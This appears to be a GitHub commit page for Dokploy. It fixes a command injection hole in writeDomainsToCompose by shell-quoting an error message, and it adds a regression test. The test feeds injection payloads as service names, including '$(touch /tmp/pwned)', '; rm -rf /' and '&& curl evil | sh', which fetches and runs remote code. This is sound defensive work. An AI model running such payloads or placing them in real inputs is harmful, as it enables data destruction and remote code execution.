Skip to content

Commit a83b202

Browse files
committed
fix(security): escape compose domain error message to prevent command injection
writeDomainsToCompose returns a shell fragment that is executed as part of the compose build script. On error it interpolated error.message (which embeds the user-controlled serviceName/host) directly into an echo, so a serviceName like $(cmd) executed as root. Escape the message with quote().
1 parent 8c2e91a commit a83b202

2 files changed

Lines changed: 73 additions & 2 deletions

File tree

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
import { parse } from "shell-quote";
2+
import { describe, expect, it, vi } from "vitest";
3+
4+
// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
5+
// "exists" but does not contain the attacker's service, forcing the error path
6+
// whose message embeds the user-controlled serviceName.
7+
vi.mock("node:fs", async (importOriginal) => {
8+
const actual = await importOriginal<typeof import("node:fs")>();
9+
return {
10+
...actual,
11+
existsSync: () => true,
12+
readFileSync: () => "services:\n web:\n image: nginx\n",
13+
};
14+
});
15+
16+
import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
17+
18+
const baseCompose = {
19+
appName: "my-app",
20+
serverId: null,
21+
composeType: "docker-compose",
22+
sourceType: "raw",
23+
composePath: "docker-compose.yml",
24+
isolatedDeployment: false,
25+
randomize: false,
26+
suffix: "",
27+
} as any;
28+
29+
const makeDomain = (serviceName: string) =>
30+
({
31+
host: "example.com",
32+
serviceName,
33+
https: false,
34+
uniqueConfigKey: 1,
35+
port: 3000,
36+
}) as any;
37+
38+
// If the returned shell fragment is safe, parse() yields only string tokens.
39+
// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
40+
const leaksShellSyntax = (command: string, marker: string) =>
41+
parse(command).some(
42+
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
43+
);
44+
45+
describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
46+
it("does not let a malicious serviceName inject shell operators", async () => {
47+
const result = await writeDomainsToCompose(baseCompose, [
48+
makeDomain("$(touch /tmp/pwned)"),
49+
]);
50+
51+
// The service does not exist in the compose, so we hit the error branch.
52+
expect(result).toContain("Has occurred an error");
53+
expect(leaksShellSyntax(result, "touch")).toBe(false);
54+
expect(result).not.toContain("$(touch");
55+
});
56+
57+
it("neutralizes backtick and semicolon payloads too", async () => {
58+
for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
59+
const result = await writeDomainsToCompose(baseCompose, [
60+
makeDomain(`svc${payload}`),
61+
]);
62+
expect(leaksShellSyntax(result, "rm")).toBe(false);
63+
expect(leaksShellSyntax(result, "curl")).toBe(false);
64+
expect(leaksShellSyntax(result, "id")).toBe(false);
65+
}
66+
});
67+
});

‎packages/server/src/utils/docker/domain.ts‎

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ import { join } from "node:path";
33
import { paths } from "@dokploy/server/constants";
44
import type { Compose } from "@dokploy/server/services/compose";
55
import type { Domain } from "@dokploy/server/services/domain";
6+
import { quote } from "shell-quote";
67
import { parse, stringify } from "yaml";
78
import { execAsyncRemote } from "../process/execAsync";
89
import { cloneBitbucketRepository } from "../providers/bitbucket";
@@ -125,8 +126,11 @@ exit 1;
125126
const encodedContent = encodeBase64(composeString);
126127
return `echo "${encodedContent}" | base64 -d > "${path}";`;
127128
} catch (error) {
128-
// @ts-ignore
129-
return `echo "❌ Has occurred an error: ${error?.message || error}";
129+
const message =
130+
error instanceof Error ? error.message : String(error ?? "");
131+
// The error message embeds user-controlled fields (e.g. serviceName) and is
132+
// executed as part of the compose build shell script, so it must be escaped.
133+
return `echo ${quote([`❌ Has occurred an error: ${message}`])};
130134
exit 1;
131135
`;
132136
}

0 commit comments

Comments
 (0)